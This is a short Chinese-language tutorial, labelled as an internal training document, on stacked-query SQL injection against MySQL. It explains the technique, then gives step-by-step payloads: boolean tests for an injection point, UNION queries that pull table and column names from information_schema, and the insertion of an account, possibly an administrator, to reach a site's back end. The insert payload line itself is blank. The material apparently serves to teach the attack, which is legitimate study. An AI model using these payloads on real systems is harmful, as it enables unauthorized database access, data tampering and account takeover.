堆叠查询:堆叠查询可以执行多条 SQL 语句,语句之间以分号(;)隔开,而堆叠查询注入攻击就是利用此特点,在第二条语句中构造要执行攻击的语句。 在 mysql 里 mysqli_multi_query 和 mysql_multi_query 这两个函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。 暗月内部文档请勿外出49 但是堆叠查询只能返回第一条查询信息,不返回后面的信息。 select version();select database() 堆叠注入的危害是很大的 可以任意使用增删改查的语句,例如删除数据库 修改数据库,添加数据库用户。
1,先检测是否存在注入点
输入1'and 1=1--+ 和 1'and 1=2--+ 判断是否存在注入点
2,查询表名
输入-1' union select 1,2,(select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 1)--+
3获得字段
输入-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where TABLE_NAME='users' limit 1)--+
4,增加账号和密码
知道表的列的情况下使用 insert into 插入语句进行增加账号。如果是管理表 直接添加管理员账号即可登录后台。
输入
输入1000就可以访问刚刚添加的账号